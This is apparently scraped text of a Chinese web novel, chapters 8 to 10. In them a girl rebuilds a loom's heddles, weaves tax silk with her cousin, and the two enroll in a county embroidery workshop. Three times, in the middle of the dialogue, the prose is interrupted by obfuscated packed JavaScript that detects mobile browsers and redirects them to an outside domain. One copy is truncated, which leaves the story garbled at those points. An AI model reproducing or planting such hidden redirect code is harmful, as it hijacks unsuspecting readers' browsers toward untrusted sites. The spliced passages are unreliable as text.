他冲到织机前，目光急切地扫向综片位置。只见原本磨损断裂的几片大综片已被更换，主体是坚韧的硬木，但在最易磨损的下缘受力处，镶嵌着打磨得光滑锃亮的薄铁片。铁木之间咬合紧密，结合得天衣无缝，泛着冷硬而可靠的光芒。 旁边那些用于提花的复杂小综片，仍是原来的旧竹片。 “怎么就换了这几个？”唐鸿音疑惑地看向气喘吁吁跟进来的唐照环。 唐照环匀了口气，解释道：“十二叔，夏税急等着交的是绢，绢是最简单的平纹织物，用不着那些提花的复杂综片。我把织绢最要紧的这几片地综，按我的法子换了，先把要的税绢织出来。提花的事儿，且往后放放吧。” 她说的条理分明，合情合理。唐鸿音心中的疑虑消了大半，少年人的那股子较真劲又上来了。 空口白牙不行，眼见也未必为实。他必须亲眼看着这机器动起来，亲眼看着好绢一寸寸从这铁木综片下织出来才作数。 唐鸿音一拍大腿，吩咐道：“现在当着我的面，用这机子，给我织一匹绢出来。丝线我出，绢归你。” 唐照环小脸顿时垮了下来：“一匹绢啊，从早到晚不停也得织上四五天，家里还一堆活计等着我去干呢。” 唐鸿音大手一挥，斩钉截铁地说：“从今儿起，到你这匹绢织完，你们家的饭食，我唐鸿音包圆了。顿顿有肉不敢说，米面管饱管够。你爹娘那儿，我去说，你就给我安心待在这屋里织布。” 看他那副不达目的不罢休的倔强样，唐照环知道推脱不过，只得苦着小脸应承下来：“那好吧。” 于是乎，这间屋子成了唐照环临时的战场。唐鸿音果然说到做到，每日两餐准时送到门口，虽不是什么珍馐美味，但热饭热菜，份量十足。 溪娘得了空闲，也会过来看看女儿，心疼地摸摸她有些发红的小手，唐守仁则默默地把家里的杂活都揽了过去。 织机吱呀作响，单调而规律。唐照环小小的身子端坐在高高的机杼前，双脚踩踏着踏板，双手轮番投梭打纬。 到了夜晚，屋里点起了油灯，昏黄的灯火下，她的影子在墙壁上拉得老长，伴随机杼声和偶尔的哈欠声。困极了，眼皮打架，她便掐自己一下，或是用凉水拍拍脸，继续埋头苦干。 唐鸿音也常常跑来看。他不说话，就蹲在旁边，眼睛一眨不眨地盯着逐渐增长的绢面。 整整四天三夜，除了吃饭睡觉，她都钉在了织机前。最后一寸绢织完，唐照环剪断线头，累得几乎要从凳子上滑下来。 这一次，唐鸿音检查得更加仔细。他一根丝一根丝地看过去，从布头看到布尾，又从布边摸到中心。指腹传来的触感均匀一致，目光所及之处，绢面光洁如初，经纬分明，毫无瑕疵。 这匹赶工出来的绢，竟比五日前那匹还要更匀净一分。 “好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16121182|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，好好。”唐鸿音连说三个好字，激动地抬起头，看向累得脸白，眼下一片青黑的唐照环，用力拍了拍织机，“环丫头你真是神了。这织机，活了！” 验证了机器的可靠，唐鸿音心中的商业头脑立刻活络起来，豪气干云地道：“机器只要你不嫌累，尽管用，想用到什么时候都成。织出来的绢，除了你家自用交税，多出来的，十二叔我全按市价收了，绝不让你吃亏。” 这简直是天大的好消息！ 唐照环眼睛一亮，累意都消散了大半。自家夏税要六匹绢，光靠她和娘亲用点绣活攒钱买绢，简直难如登天。如今有了这能下金蛋的铁鸡，怎能放过？ 她立刻想到了好帮手，琼姐心灵手巧，性子又沉静，学织布定是极快的。 她跑去西厢房，不管大娘探究又狐疑的眼神，拉着琼姐就把事情原委和好处说了。琼姐听能帮家里省下买绢税的大钱，还能自己挣点体己，怯懦的心里生出一丝勇气，用力点了点头。 自此，这间后院空屋彻底热闹起来。两个小姑娘，一个教得用心，一个学得刻苦。很快，琼姐也能熟练操作换了关键综片的织机了。 白日里琼姐多织些，唐照环帮忙打下手，处理丝线。夜里唐照环便接过梭子，挑灯夜战。织机吱呀声昼夜不息，成了唐家后院日常背景音。 日子在梭子的穿梭中飞快流逝，两人轮流干了快两个月，直到夏税开征。 最后一匹雪白光洁的绢被细致地卷好，摞在那堆已经颇为壮观的绢堆上，两个小姑娘累得腿脚都站不稳，脸上洋溢着前所未有的喜悦和自豪。 她们不仅织够了自家需要的六匹税绢，还额外织出了足足二十匹品质上乘的细绢。按照唐鸿音承诺的市价，这二十匹绢，收到了二十四两银子。 唐照环捧着这沉甸甸的钱，在爹娘惊愕又欣慰的目光中，昂首挺胸走进了主屋正堂，将年初为爹爹赴京赶考向二爷爷借的二十两银子，连本带利，恭恭敬敬地双手奉还。 二爷爷看着银子，又听闻由后院废机所出，惊愕之余，望向唐鸿音的眼神也复杂起来。 唐鸿音挺直了腰杆，只觉得扬眉吐气，胸中块垒尽消。 眼见织机如此好用，唐鸿音心思又活络起来。他自掏腰包，请人按唐照环的设计，将织机上所有综片，无论地综，花综，全部换成了崭新的铁木家伙。 机器焕然一新，唐鸿音兴致勃勃地拉着唐照环：“试试提花绫锦，若能织出提花料子，价钱可又翻上几番。” 唐照环爬上织机，尝试操作复杂的提花装置。然而，花综数量繁多，升降顺序复杂，牵一发而动全身。她既要脚踏踏板控制地综形成底纹，又要手动提拉花综控制图案，还要引梭打纬，一心多用，手忙脚乱。 试了半日，不是图案错乱，就是经纬纠缠，织出来的东西惨不忍睹。 “不成不成。”唐照环懊恼地从织机上跳下来，小脸皱成一团，“这提花太难了。光有结实的综片不行，得懂花本，得会挽花，还得两人配合得天衣无缝。我……我自个儿瞎琢磨，实在弄不明白啊。” 唐鸿音也皱紧了眉头，抱着手臂在屋里踱步，紧抿着唇。 忽然，他脚步一顿，猛地一拍脑门：“我怎么忘了这茬。永安县毗邻西京洛阳，又兼皇陵祭祀所需，官办的洛阳绫绮场特在咱们县里设了个分支绣艺坊，专培养织绣熟手，过几天要招学徒。” 他越说越激动，手舞足蹈。 “我听说，过了考校的合格学徒包吃住，给发月钱，若能入选学提花织造，还有宫里退下来的老供奉亲自指点。你和琼丫头一个脑子活络点子多，一个性子稳当手又巧，天生一对的织机好搭档。 这学费和考校前的嚼用，十二叔我出了。只要你们学成，回来能织出上好的提花锦，咱们唐家，说不定真能靠这织机，闯出条新路来。” 9.第 9 章 绣艺坊 唐照环得了唐鸿音的金口玉言，要供她和琼姐去官办的绣艺坊学艺，心头那份欢喜似三伏天喝下冰镇酸梅汤，又似腊月寒冬揣了个暖烘烘的小火炉。 她脚下生风，恨不能肋生双翅，立时飞回家中，把好消息告诉爹娘和琼姐，连带路旁的歪脖子柳树都显得格外顺眼。 推开家门，一股饭菜香气扑面而来。 爹爹正坐在堂屋窗下的小杌子上，捧着一卷书册皱眉，显然又陷在某个经义难题里。娘亲坐在堂屋门口，继续她的小衣缝制，大娘手里纳着鞋底，针线拉得呼呼作响。琼姐手里捏着块绣绷，指尖翻飞。 “我回来了，我有好事要说。”唐照环压不住嘴角，雀跃地叫道。 唐守仁闻声抬起头，见小女儿满面红光：“何事如此欢喜？可是你十二叔那边有了好消息？” 溪娘笑盈盈地：“看你这汗，好好喘匀了气，慢些说。” 大娘闻言翻了个白眼，撇撇嘴：“哼，她能有什么好事。风风火火的，没个姑娘家的稳当。” 唐照环才不管大娘那点刻薄，几步蹦到院子中央，一口气将唐鸿音的打算倒了个干净：“十二叔说了，洛阳绫绮场在咱们县里的分支绣艺坊，过几日要招学徒。若是学得好，能学那提花织造的本事，不仅包吃住，发月钱，还有宫里头退下来的老供奉亲自指点。 十二叔还说了，我和琼姐是天生一对的好搭档，脑子活络配手稳当，只要我们去学，转正前的嚼用和学费，他全包了。” 唐守仁放下书卷，和溪娘对视一眼，欣喜道：“这倒确是好事，十二弟有心了。绫绮场乃官办，能入其中习得技艺，实乃难得机缘。环儿机敏，琼儿手巧，若能学成，日后也算有一技傍身，终身受用。” 溪娘更是喜得拍手：“你们可要争气，好好学，等下我去把房梁上挂的咸肉割一小块下来，再添个鸡蛋，给孩子们庆贺庆贺。” 琼姐捏着针的手都忘了动，眼睛亮晶晶，脸上满是憧憬。能去学艺，还是官办工坊，简直是她梦里才敢想的事情。 大娘的脸色却沉了下来，像泼了一层浓墨。她把手里的鞋底重重往笸箩里一扔。 “学艺？说的轻巧。”大娘斜睨着溪娘，满是讥诮，“她俩走了，这一大摊子家务谁来做？喂鸡浇菜，打水劈柴，洗衣做饭，还有绣花做活，全指望我一个人？” 溪娘脸上的笑容僵住，随即又堆起更柔和的笑，软声道：“嫂子消消气。十二弟不是说了，他继续包吃，省下家里的嚼用。两个小娘子只是去学艺，又不是卖身，总能回来帮衬帮衬的。 再说了，能进官办的绣艺坊学本事，那是多大的体面。将来议亲的时候，人家一听，哟，是在官办场子学过宫里本事的娘子，身价可不一样，说亲的门槛都能抬高一截，找个殷实些的好人家，不比在家苦熬强？” 这话算是戳中了点大娘的心思。她虽刻薄，对琼姐的前程却是实实在在放在心上的。 她狐疑地上下打量着溪娘：“当真？进了那绣艺坊，议亲能涨身价？” “千真万确。”溪娘见有门，赶紧趁热打铁，“邻县那个朱木匠家的，去绣艺坊学过两年，嫁给了洛阳城里的殷实户。” “哼，说得天花乱坠。”大娘语气软了下来，“琼儿去学，也不是不行，但家里的活计不能落下太多。还有，环丫头，你跟着凑什么热闹？毛手毛脚的，去了也是白费钱，不如在家帮你娘干活。” 唐照环心里翻了个大大的白眼，面上却挤出十二分乖巧，眨巴着大眼睛：“大娘，那种厉害的织机得两个人操作。我要是留在家里，琼姐一个人去了也学不全呀。” 唐守仁见状，承诺道：“学个正经本事，孩子们终身受益。家里的事我多担待些，熬过这一阵，待她们学成，家里进项多了，日子自然松快。” 琼姐扯了扯她娘的袖子，小声说：“我想去学。我保证，下课回来，该干的活加倍干完，绝不偷懒。” 大娘被几人你一言我一语说得没了脾气，心里那点不情愿终究抵不过对前程的盘算。 她烦躁地叹了口气，没好气地道：“罢罢罢，一个两个都这么说，倒显得我是那恶人。要去便去，不过丑话说在前头，去学艺是好事，学归学，别给我整什么幺蛾子，该守的规矩要守，别跟那些眼皮子浅的丫头片子学些歪门邪道。身子骨要紧，学那精细活儿费眼睛，要是熬成了瞎子，看谁还要你。” “是，娘，女儿省得。”琼姐一直紧绷的肩膀松了下来，脸上绽开了笑容。 溪娘松了口气：“事情定了就好，我去加菜。” 眼见大娘总算同意，唐照环心理开始盘算要准备些什么，却听大娘又开口了，这次是对着她： “既是你十二叔出的主意，那学艺要用的家伙什，什么针线篮子，练习用的素线，白布，还有描花样的纸笔，你再去跟他说说，让他一并出了。” 唐照环一听，心里的小火苗噌地冒起来了。大娘真是算盘珠子拨得精，十二叔已经仁至义尽出了大头，这些基础的东西本该学徒自备，值不了几个大钱，她竟还想着去薅他的羊毛，他的钱又不是大风刮来的。 她小脸一绷，刚要开口顶回去，却见溪娘悄悄给她递了个眼色，示意她别冲动。 “嫂子，这……”溪娘正要打圆场。 一旁的琼姐抢先一步开了口，声音不大却难得坚定：“娘，不用问了，这些该咱们自己备的。我有平日攒下的零散铜钱，不够的话，我先跟二婶借点，等进了绣艺坊，发了月钱，定一文不少地还回去。妹妹帮了大忙，她那份也该算在我头上。” 溪娘忙道：“哎哟，琼儿说这话就见外了，什么算不算的，那些零碎值当什么，婶子先给你垫上。等你挣了钱，请婶子吃块枣糕就好。” 她这话说得既全了大娘的面子，又解了琼姐的围，更显得亲近。 大娘见女儿自己表了态，溪娘也大包大揽，再纠缠下去反倒显得自己做了坏人，便撇撇嘴不再言语，重新拿起鞋底，只是那针脚明显比刚才更用力了。 趁有集的日子，溪娘领着琼姐和唐照环去采买。 琼姐花了不下半个时辰时间，认认真真挑选素线，仔仔细细比较白布的厚薄，又在一堆粗细不一的绣花针里反复挑拣，终于选定了三根大小不一的，郑重地付了账，小心地用手帕包好放进怀里。 见她如此细致，溪娘也不自己挑了，直接原样照搬了一份给唐照环。 看着她捧着宝贝般的珍重劲儿，唐照环真心觉得，她哪是买针，简直在买房啊。不过她又忍不住想笑，看来琼姐是真的把这次机会看得比命还重。 也好，有个这么认真的搭档，说不定真能闯出点名堂来。等学成了，一定要让家里人都用上最好的丝线，再也不用为这点针头线脑发愁。 终于到了招人日，攥着唐鸿音给的银子和盖了族长印章的荐书，唐照环和琼姐一路打听，终于找到了位于县衙西侧的绣艺坊。 朱漆大门虽不十分阔气，却透着股官府的肃穆劲儿，门楣上悬着“绣艺坊”的匾额。 队伍不算长，多是些九十岁到十二三岁的姑娘家，由仆妇陪着，个个衣着体面，脸上或紧张或期盼。相形之下，穿着寒酸，只有姐妹俩互相作伴的唐照环和琼姐，显得格外扎眼。 琼姐下意识往唐照环身后缩了缩，手指紧紧攥住衣角。唐照环倒是不怵，好奇地四处打量，琢磨官办工坊里头该是什么光景。 正等开门，一个穿着水红色褙子，头上戴着亮银丁香簪的圆脸姑娘，在两个差不多年纪的小丫头陪同下，也到了附近。如果认真看，还能看到她被褙子遮挡大半的下裙，偷偷散发丝绸光泽。 圆脸姑娘瞧见两人，先疑惑地眨了眨眼，随即浮起毫不掩饰的轻视。 “哟，我当是谁呢？这不是唐五家那俩丫头吗？”声音又尖又亮，引得周围人都侧目看来。 她是与唐照环家一墙之隔的钱贵家闺女，钱福妞。钱贵是县衙的公人，担任牢头，在永安县也算有头有脸的人物。福妞作为他的掌上明珠，在街坊孩子堆里，一向是横着走的。 福妞走到近前，上下扫了唐照环和琼姐一遍，嘴里啧啧有声：“稀奇啊，太阳打西边出来了。你们家不是穷得叮当响，连进京赶考的银子都是借的吗？往年交完夏税连锅都揭不开，怎么，还有闲钱来绣艺坊凑热闹？” 她故意把“凑热闹”三个字咬得极重。 琼姐的脸瞬间涨得通红，几乎要缩进唐照环的影子里。 唐照环挺直腰板，不卑不亢地回视：“绣艺坊招学徒的招子上，又没写谁家不能来。我们怎么就不能试试了？” “试试？”钱福妞像是听到了天大的笑话，捂着嘴咯咯笑起来，“就凭你们？环丫头，你会拿针吗？琼娘子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16125686|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绣工是还凑合，可你们家那点绣活，卖几个铜板我还不知道？攒得够这绣艺坊的束脩？骗鬼呢。别是想着进来白吃白喝，偷学手艺的吧？” 这话误打误撞说破了两人的目的，琼姐当即顿住，头埋得更低。唐照环真想大声告诉她，是十二叔唐鸿音给两人出的钱，我们靠自己织绢还清了债。 但话到嘴边，又被她硬生生咽了回去。不行，织机修好的事，知道的人越少越好。万一传出去，眼红人是非多，别给十二叔惹事。 唐照环脸上挤出讽刺的笑容，故意把声音扬得高高的：“够不够就不劳你操心了。我和琼姐平日里绣些花片帕子，省吃俭用攒钱，虽然比不上福姐你爹手指缝里漏出来的多，但凑个入门钱，还是够的。” 她把“手指缝里漏出来的”几个字咬得特别重，暗讽钱贵挣黑钱。 福妞被她半是顶撞半是打岔的话噎了一下，脸上有些挂不住。 福妞冷笑一声，重新找回气势：“前些日子，有天晚上，你家西屋那位闹腾得可欢实。我在隔壁听得真真儿的，好像是因为琼娘子拿钱不买吃食点心，偷偷买了什么‘破烂玩意儿’的书？吵得跟闹贼似的，我们家想睡个安稳觉都不成。你们俩可别是偷跑过来，等过两天那位发现了，再大闹学堂要退钱。” 大娘打骂琼姐那晚的动静，竟成了别人嘴里的笑料。唐照环心头火起，这小贱人真是哪壶不开提哪壶。 她深吸一口气，压下翻腾的怒意，脸上笑容反而更甜了：“福姐耳朵真灵光，连我家晚上吃什么点心都听得一清二楚。不过呢，我家的事，不劳您费心。” 钱福妞被她这软钉子一顶，一时竟想不出话来反驳。她气得哼了一声，眼珠一转，又换了种方式刁难。 “环丫头，别怪我没提醒你。”她故意提高音量，让周围人都能听见，“绣艺坊可不是什么阿猫阿狗都能进的，入学十日第一次大考，要交指定的绣品，针法、配色和构图都有讲究。 考不过，立刻卷铺盖滚蛋，束脩一文不退。到时候交不出绣品，或者绣得跟狗啃似的，被人撵出来，连带着你们唐家的脸，都得被你丢光。” 唐照环心里咯噔一下，绣艺坊要求的指定绣品，肯定复杂不少。十天时间，既要适应新环境，还要突击完成一件高要求的绣品，难度是有点大。 但她觉得不用太担心，来报名的多是十岁出头的小姑娘，再厉害能厉害到哪里去，总不能第一次考试便把所有人赶出门。 唐照环学着大人的样子，对钱福妞拱了拱手，脆生生道：“哟，原来还有入学考这回事？多谢福姐提醒。您不说，我还真不知道呢。回去可得让我琼姐姐好好教我，临时抱抱佛脚也好呀。” 钱福妞被她的态度噎得够呛，脸色一阵青一阵白，还想再说什么，已经轮到她们登记了。 “下一个。”门房里坐着个留着山羊胡的管事，头也不抬地喊道。 钱福妞狠狠剜了唐照环一眼，趾高气扬地抢先走上前，递荐书和银子。那管事扫了一眼荐书上的名字，又掂了掂银子，脸上挤出点笑容：“哦，钱牢头家的千金？进去吧，左边第二间找吴教习登记。” “有劳管事。”钱福妞得意地扭着腰进去。 轮到两人，琼姐紧张得手心全是汗，缓缓把荐书和银子递过去。 管事接过荐书扫了一眼，对上面的内容不以为然，掂了掂银子，分量倒足。 “绣艺坊的学徒，可不是光交钱就能当的，得有真本事。”管事抬眼打量了下眼前两个衣着寒酸的小姑娘，慢悠悠开口，“定期考校是硬规矩。考不过，天王老子保荐也没用，银子也不退，你们想清楚了？” 唐照环甜甜笑道：“管事伯伯，规矩我们懂，多谢您提醒。银子交上了，荐书也在这儿，您看是不是能让我们进去了？本事嘛，考了才知道，您说是不是？” 管事自认该提醒的提醒过了，便不耐烦地挥挥手：“进去吧，左边第一间找王教习登记。” 琼姐如蒙大赦，拉着唐照环赶紧往里。 绣艺坊的院子很大，青砖铺地，几排整齐的厢房，隐约能听到里面传来娘子们的说笑声。环境清幽雅致，与外面的喧嚣截然不同。 管事口中的左边第一间并不难找。门口挂着块小木牌，写着“录名处”三字。唐照环深吸一口气，和依旧紧张得手心湿滑的琼姐，掀开门帘走了进去。 10.第 10 章 王教习 长条桌后端坐位中年妇人，穿着素净，面容清癯，眼神平和，想来这便是王教习了。 听见动静，王教习在两人的粗布衣裳上掠过，并无半分鄙夷或惊奇，只如同看到最寻常的事物一般，平静无波。这让姐妹俩紧绷的心弦稍稍松了一松。 “姓名，籍贯，荐书。” 唐照环连忙上前，双手奉上族里的荐书和银子：“教习安好。学生唐照环，堂姐唐照琼，俱是永安县人。这是族中荐书和束脩。” 王教习接过，直奔主题：“既来学艺，规矩当先。绣艺坊分入门与进阶两班。入门，授基础针法、配色和构图。进阶，授更精妙针法及小幅花鸟绣样，难度颇高，考校间隔短。 考校不过者，无论哪班，皆须离坊，束脩不退。你二人据实以告：识字几何？平日做绣活多寡？技艺如何？莫要夸大，也莫要妄自菲薄。分错了班，于你二人，于教习，皆是麻烦。” 话说得实在。唐照环和琼姐对视一眼，略微安心，遇到明白人了。 唐照环定了定神，率先开口：“回教习的话。学生唐照环，今年十岁。识字尚可，《千字文》《百家姓》能通读，些许诗词也认得。只是女红一道，实在粗疏。平日在家，只帮娘亲劈线，缝补些破洞，正经绣花做得极少。” 王教习听着，面上无波，只在听到识字尚可时，眼中微光一闪。 轮到琼姐，她声音细若蚊蚋：“学生唐照琼，年十四，会……只会写自己的名字。平日在家做活贴补家用，常绣些小花样，请教习过目。” 她鼓起勇气，从随身的小布包里，拿出正在绣的花片，双手递上。 图案是折枝梅花，针脚细密匀称，花瓣用深浅粉线晕染过渡，构图寻常，干净利落。 王教习接过，特别查看了针脚和配色，将花片递还给琼姐。 她脸上依旧没什么表情，但语气温和了一分：“嗯，底子尚可，针稳。” 她沉吟片刻：“唐照环，你识字多，然手上功夫生疏，强求花鸟小品，恐难成器，反易损了心气。留在我的入门班，打好根基要紧。” “唐照琼，”她转向琼姐，“你手上功夫扎实，虽识字少，于运针走线已有章法。进阶班的吴教习，最擅教导有根基的学徒，于细微处点拨，你去她那里或可更进一步。考校虽难，也是一番磨砺。” 琼姐一听要去那听起来就吓人的进阶班，脸又白了，看向唐照环求助。 唐照环思索一番，觉得王教习的安排合理。琼姐有基础，去试试未必是坏事。她悄悄捏了捏琼姐的手，示意她安心。 “多谢教习指点。”唐照环拉琼姐一起行礼。 王教习提笔在名册上分别记下，递出木牌，上面刻着不同编号和班级：“拿着，去课室安顿。唐照环，你的课室就在此院东厢第一间，明日辰时初刻开课，莫要迟了。唐照琼，你的课室在西跨院第二间，先找吴教习报到。” 姐妹俩再次谢过，拿着木牌退了出来。 按照王教习的指引，唐照环找到了东厢第一间课室。推门进去，里面已坐了大半，数量约莫有十个出头。屋子宽敞明亮，靠墙放着几架空着的绣绷，前面有教习用的长案和一块挂花样的木板。 她一进来，立刻吸引了不少好奇打量，甚至还有轻慢的目光。唐照环只当没看见，四处张望想找个空位。 前面几排位置都坐满了，只有靠后还有几个空着的绣墩。 她正想往后面走，目光不经意扫过第一排正中间。 水红色的崭新褙子，亮闪闪的银丁香簪，不是钱福妞是谁。 钱福妞显然也看到了她，满脸惊愕和羞赧。 唐照环心里嗤笑一声。 呵。说得自己多有能耐，牛皮吹破了天，不也跟我这不会拿针的丫头片子一样，蹲在这入门班里打根基，从穿针引线学起。 她懒得理会福妞刀子似的目光，昂着小脑袋，目不斜视地从第一排走过，径直来到最后排一个靠窗的角落坐下。那位置虽然偏僻，光线却好，还能看到窗外一角绿意。 刚坐下，就听见钱福妞故意对旁边一个全身穿绸缎衣裳的小娘子炫耀：“唉，入门班的东西，我在家早学腻了。我娘特意请了绫绮场退下来的老绣娘教过我呢，要不是我爹说绣艺坊的名头好，将来能……哼，我才懒得来这从头学起。十日后那考校，闭着眼睛都能过。” 她这话，像是说给旁边人听，更像是说给后排的唐照环听。 唐照环撇撇嘴，自顾自地整理带来的小针线包。里面只有几根最普通的针，几束素线，一块练习用的粗布。跟周围那些带着精美小绣绷，各色丝线，甚至还有小银剪的小娘子们比起来，真是寒酸得可怜。 但她心里并不慌。十天？不就是一次小考嘛，还是开卷的。她唐照环上辈子什么硬骨头没啃过？物理公式不比这针头线脑难？她就不信过不了。 一刻钟后，再无新人入内，王教习步履沉稳地走了进来。 方才还有些喧闹的课室，瞬间鸦雀无声。十几双眼睛齐刷刷望向前方，便是钱福妞也下意识挺直了腰板，收起了骄矜。 王教习行至长案前，沉甸甸的目光扫过全场，压得人不敢造次。 “既入绣艺坊，当知坊内规矩。”她声音不高，字字清晰，“其一，尊师重道，教习之言，须得谨记。其二，勤勉刻苦，针线功夫，偷懒不得。其三，同窗和睦，不得口舌相争，更不许恃强凌弱。其四，洁身自好，坊内器物，一针一线，不得私藏，亦不得损坏。” 她顿了顿，目光在几个衣着格外光鲜，面前摆着精美针线包的姑娘脸上停了停：“坊内学艺，一应用度自有规制。明日辰时初刻开课，只带寻常针线和素布即可。那些描金绣银的匣子，镶珠嵌玉的顶针儿，就不必带来了，免得分心。” 这话一出，钱福妞和旁边几个姑娘讪讪地将手边的小玩意儿收了起来。 “凡有违者，”王教习语气转冷，从袖中取出一把乌沉沉的戒尺，亮在案上，“轻则戒尺责掌，重则逐出坊去，可听明白了？” “听明白了。”姑娘们连忙齐声应道。 “今日且散，明日辰时初刻，莫要迟误。” 王教习言罢径直离去，留下满室的姑娘们，过了好一会儿才敢低声议论起来。 翌日辰时初刻，日头刚爬上屋檐。东厢第一间课室里，十来个小娘子已坐定。钱福妞端坐第一排正中，下巴微抬，显出一副早已精通的得意模样。 门帘一掀，王教习走了进来。她一身靛蓝布衣，步履沉稳，目光如静水深流，在屋内缓缓扫过。 她径自走到长案前，拿起一束生丝：“今明两日，我只教一样，劈线。” 劈线？这谁不会？众人惊讶得窃窃私语，连后排的唐照环都瞪大了眼，心道这也太基础了吧？ 王教习恍若未闻众人的惊诧，只拈起一根丝线向上，手指灵巧如蝶。只见那原本一根细线，在她指尖轻轻捻动，分拨，均匀地将线一分为二，二分为四，四分为八，八分十六。 唐照环经常帮忙劈线，知道溪娘平常用分成十六分的丝线刺绣，成品已经很精致，别人家也有只用八分的。 王教习并没有停下动作，直至将一根丝线分成了六十四分。分出的细丝，比手指上的绒毛还细，根根分明，毫无纠缠。 “市上所售，皆是这般成束的丝线，使用时再劈开。你们知不知道，为何要如此做？”王教习捻着分好的细丝，“染色匠人，需将这成束的生丝，浸入滚烫的染缸。若丝线太细，太单薄，一入滚汤，受不住那冲撞拉扯，立时便断。唯有数十根合为一股，有了筋骨力道，方能经得住染缸锤炼，染出鲜亮均匀之色。” 她顿了顿，目光扫过下方：“待染好晾干，到了我们手中，需依绣品所需，将这成束的丝线，再行劈开。要十六分便劈十六分，要六十四分便劈六十四分。劈得越匀，越细，绣出的花瓣叶脉，才越显灵动逼真，不起毛结团。这便是劈线的根由，非是匠人懒，实为工艺所需。” 原来如此，唐照环恍然大悟。一根丝线背后，竟还有这般门道，怪不得娘亲劈线时那般仔细谨慎。 “现在，穿针。”王教习取过一枚特制钢针，针鼻极小，“线劈得匀细，穿针引线方能顺畅。线头需抿得尖细，心要静，眼要准，手要稳。气息稍乱，线头便散。心神不定，针鼻难入。” 她示范了一次，动作行云流水。接着让众人各自练习，要求至少劈出三十二分，且所有的线都能单独穿过针鼻。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135826|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一时间，课室内只余下细微的呼吸声和丝线摩擦的窸窣。有人轻松穿过，面露得意；有人捻了半天线头，急得额头冒汗；更有人线头散开，越捻越乱，懊恼不已。 钱福妞果然手法熟练，几下就劈出十六分，穿好了针，故意将穿了线的绣针别在袖口，左顾右盼。唐照环则屏住呼吸，学着王教习的样子，小心捻尖线头，对准那小小的针鼻。 一次，偏了；两次，线头散开；第三次，终于穿了进去。 她悄悄松了口气，抹了把额角不存在的汗。 整整两个时辰，众人在劈线、穿针、再劈线的枯燥重复中度过。王教习缓步巡视，时而指点一二，话语依旧不多，总能切中要害。唐照环渐渐摸到了些门道，虽远不如福妞熟练，也劈出了勉强能用的三十二分细丝。 放课的钟声敲响。唐照环收拾好自己的小针线包，立刻跑向西跨院寻琼姐。 琼姐正等在院门口，眼里闪着疲惫却满足的光彩。 “琼姐姐，那吴教习凶不凶？课难不难？”唐照环拉住她的手，急切地问。 琼姐下意识揉了揉自己的衣角，小声道：“吴教习看着严厉，说话也硬邦邦，教得极细。针怎么起，怎么落，力道如何，线怎么藏头都讲得清清楚楚。 确实难，比我在家绣的那些花样难多了，针法多了好几样，我听得晕乎乎的，手也笨……” “不怕。这才第一天呢，琼姐姐你底子好，肯定能学会。”唐照环一副要替姐姐出头的小老虎模样，“你只管专心学，要是班上有人欺负你，或者笑话你，你一定告诉我，我去找她理论。” 琼姐被她逗得抿嘴一笑：“没有，吴教习很有威严，大家都不敢吵闹。只是我坐在那里，看别人都比我强，心里慌……” “慌什么，咱是来学本事的，又不是来比高低的，学到就是赚到。”唐照环给她打气，“走，回家吃饭，吃饱了才有力气拿针。” 日子在穿针引线，辨识丝理和练习针法中飞逝。 白日上午，姐妹俩各自在课室苦练。下午，挤在自家院子角落互相交流心得。晚上有空了，还要跑去唐鸿音的后院，教会他从唐家里寻来的其他可靠亲戚，如何用立织绫机织出细密的平纹绢和纱。做为酬劳，唐鸿音除了出两人的学费和工具钱，也包下了唐照环一家的吃食。 唐照环识字多，对王教习讲的构图配色理解得快，掰开了揉碎了讲给琼姐听。琼姐手上功夫扎实，指点唐照环如何拿针更稳，如何劈线更匀。 转眼便是第九日。 课毕，众人正欲收拾东西，王教习示意大家安静。 “明日，你们入坊已足十日。按坊规，将行首次考校。” 众人心立刻提了起来，坐直了身体。 “考校内容是，自明日起，放假三日。三日内，每人需独自完成一件女子贴身小衣。形制不拘，或抹胸，或主腰，皆可。唯有一则，其上须有绣花点缀。绣样大小、内容和颜色，自定。” “啊？”底下响起一片惊呼。做小衣？还要带绣花？三天？ 王教习忽略惊讶声，继续：“此物一针一线，必须由你们亲手缝绣，不得假手他人，亦不得用坊中或家中现成之物充数。三日后辰时，携成品于此查验。” “莫要存侥幸之心。每人手上功夫深浅，针迹如何，力道怎样，我皆心中有数。若有成品的针脚绣工，远超出平日水准。”她目光如炬，在几个平日爱耍小聪明的娘子脸上掠过，“或者针法构图，非十日所学能企及，我一眼便可识破，立判其考校不合格！” 最后三个字，斩钉截铁，不容置疑。 王教习不再多言，留下满室心思各异的学徒，转身离去。 唐照环坐在后排，不得不佩服王教习的出题水平。 